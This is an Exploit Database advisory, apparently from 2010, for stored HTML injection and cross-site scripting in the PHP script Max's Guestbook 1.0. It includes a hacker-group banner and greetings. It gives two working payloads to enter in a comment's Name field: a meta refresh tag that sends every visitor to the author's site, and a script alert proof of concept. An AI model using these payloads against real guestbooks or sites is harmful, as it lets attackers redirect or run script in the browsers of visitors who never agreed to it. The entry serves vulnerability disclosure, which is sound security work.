Exploit Max's Guestbook - HTML Injection / Cross-Site Scripting

[Exploiter]

EDB-ID

14834

Проверка EDB

1. Пройдено

Автор

MIND C0RE

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

N/A

Дата публикации

2010-08-29

================================================================
#                       In the name of ALLAH !                       #
======================================================================
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
#################################
#      _____ __   __   /_  __/  #
#     / ___/  \ \  / /     / /     #
#    (__  )     \ \/ /     / /      #
#   /____/     \__/    /_/       #
#################################
########################################################################
# Name: Max's Guestbook 1.0 (XSS/HTML Injection) Multiple Vulnerabilities
# Vendor: http://www.phpf1.com/download.html?item=18
# Date: 2010-08-15
# Author: MiND
# Greets: Sa-ViRuS.CoM,RENO,Dr.php,!BaD BoY!,Gov.HaCker,AntiSeCuRe,Dr.$audi...
# Contact: [email protected]
# Home: WwW.Sa-ViRuS.CoM
########################################################################


[~] HTML Injection Vuln . :
Add A New Comment And The exploit is in Name :)
<meta http-equiv="refresh" content="0;url=http://sa-virus.com/" /> 
( thats redirecting to sa-virus.com ) 


[~] Xss Vuln. : 
Add A New Comment And The exploit is in Name :)
<script>alert('MiND - Sa-ViRuS.CoM')</script>



Peace